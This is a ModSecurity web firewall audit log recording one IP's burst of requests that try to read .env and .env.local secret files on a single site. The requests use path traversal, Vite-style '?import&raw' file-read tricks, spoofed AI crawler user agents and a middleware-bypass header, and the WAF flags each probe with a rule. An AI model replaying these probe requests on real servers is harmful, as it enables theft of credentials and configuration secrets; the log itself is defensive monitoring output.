Stopwatch: 1789287732239680 136720 (- - -)
Stopwatch2: 1789287732239680 136720; combined=64197, p1=255, p2=63874, p3=0, p4=0, p5=67, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0336a1e-Z--
--8c553c28-A--
[13/Sep/2026:11:22:12.619391 +0300] aqZdNDTJ6xTvcJoem7f50QAAAEU 34.80.249.255 53112 127.0.0.1 7081
--8c553c28-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8c553c28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8c553c28-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNDTJ6xTvcJoem7f50QAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNDTJ6xTvcJoem7f50QAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732466278 153168 (- - -)
Stopwatch2: 1789287732466278 153168; combined=43479, p1=252, p2=43162, p3=0, p4=0, p5=65, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c553c28-Z--
--467ff041-A--
[13/Sep/2026:11:22:12.734056 +0300] aqZdNGM7dE9KgIIOpQhxkAAAAM8 34.80.249.255 53156 127.0.0.1 7081
--467ff041-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--467ff041-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--467ff041-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxkAAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732654079 80035 (- - -)
Stopwatch2: 1789287732654079 80035; combined=3382, p1=217, p2=3097, p3=0, p4=0, p5=67, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--467ff041-Z--
--26523208-A--
[13/Sep/2026:11:22:12.893240 +0300] aqZdNEwu1RSkptiiNIX2vQAAAJQ 34.80.249.255 53166 127.0.0.1 7081
--26523208-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--26523208-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26523208-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZdNEwu1RSkptiiNIX2vQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZdNEwu1RSkptiiNIX2vQAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732795279 98041 (- - -)
Stopwatch2: 1789287732795279 98041; combined=34073, p1=217, p2=33799, p3=0, p4=0, p5=57, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26523208-Z--
--0fc0613d-A--
[13/Sep/2026:11:22:12.964606 +0300] aqZdNGM7dE9KgIIOpQhxkgAAAMA 34.80.249.255 53180 127.0.0.1 7081
--0fc0613d-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0fc0613d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0fc0613d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxkgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732889035 75665 (- - -)
Stopwatch2: 1789287732889035 75665; combined=4123, p1=247, p2=3769, p3=0, p4=0, p5=107, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fc0613d-Z--
--4b16614b-A--
[13/Sep/2026:11:22:13.059127 +0300] aqZdNEwu1RSkptiiNIX2vgAAAIE 34.80.249.255 53188 127.0.0.1 7081
--4b16614b-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4b16614b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4b16614b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNEwu1RSkptiiNIX2vgAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732972324 86859 (- - -)
Stopwatch2: 1789287732972324 86859; combined=4378, p1=310, p2=4020, p3=0, p4=0, p5=48, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4b16614b-Z--
--2540795d-A--
[13/Sep/2026:11:22:13.300372 +0300] aqZdNWM7dE9KgIIOpQhxkwAAANE 34.80.249.255 53206 127.0.0.1 7081
--2540795d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2540795d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2540795d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNWM7dE9KgIIOpQhxkwAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNWM7dE9KgIIOpQhxkwAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287733010494 289942 (- - -)
Stopwatch2: 1789287733010494 289942; combined=36220, p1=261, p2=35898, p3=0, p4=0, p5=61, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2540795d-Z--
--1ffe930a-A--
[13/Sep/2026:11:22:13.303698 +0300] aqZdNWM7dE9KgIIOpQhxlAAAAMs 34.80.249.255 53202 127.0.0.1 7081
--1ffe930a-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1ffe930a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1ffe930a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNWM7dE9KgIIOpQhxlAAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287733014905 288848 (- - -)
Stopwatch2: 1789287733014905 288848; combined=3285, p1=204, p2=2934, p3=0, p4=0, p5=147, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1ffe930a-Z--
--1589e272-A--
[13/Sep/2026:11:22:14.245987 +0300] aqZdNisVWymXUono-eRUUgAAABI 34.80.249.255 53462 127.0.0.1 7081
--1589e272-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1589e272-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1589e272-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqZdNisVWymXUono-eRUUgAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734171252 74790 (- - -)
Stopwatch2: 1789287734171252 74790; combined=4312, p1=213, p2=4056, p3=0, p4=0, p5=43, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1589e272-Z--
--84c70b22-A--
[13/Sep/2026:11:22:14.281980 +0300] aqZdNkwu1RSkptiiNIX2xQAAAJg 34.80.249.255 53444 127.0.0.1 7081
--84c70b22-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--84c70b22-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--84c70b22-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqZdNkwu1RSkptiiNIX2xQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734072636 209413 (- - -)
Stopwatch2: 1789287734072636 209413; combined=4592, p1=215, p2=4323, p3=0, p4=0, p5=54, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84c70b22-Z--
--d77b4d2f-A--
[13/Sep/2026:11:22:14.322714 +0300] aqZdNisVWymXUono-eRUUwAAAAs 34.80.249.255 53466 127.0.0.1 7081
--d77b4d2f-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d77b4d2f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d77b4d2f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqZdNisVWymXUono-eRUUwAAAAs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734240600 82195 (- - -)
Stopwatch2: 1789287734240600 82195; combined=3617, p1=185, p2=3382, p3=0, p4=0, p5=50, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d77b4d2f-Z--
--83ca7555-A--
[13/Sep/2026:11:22:14.378089 +0300] aqZdNmM7dE9KgIIOpQhxpAAAAMw 34.80.249.255 53464 127.0.0.1 7081
--83ca7555-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--83ca7555-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--83ca7555-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqZdNmM7dE9KgIIOpQhxpAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734205123 173031 (- - -)
Stopwatch2: 1789287734205123 173031; combined=62901, p1=256, p2=62577, p3=0, p4=0, p5=67, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--83ca7555-Z--
--66553e28-A--
[13/Sep/2026:11:22:14.389843 +0300] aqZdNmM7dE9KgIIOpQhxowAAANQ 34.80.249.255 53446 127.0.0.1 7081
--66553e28-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--66553e28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--66553e28-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
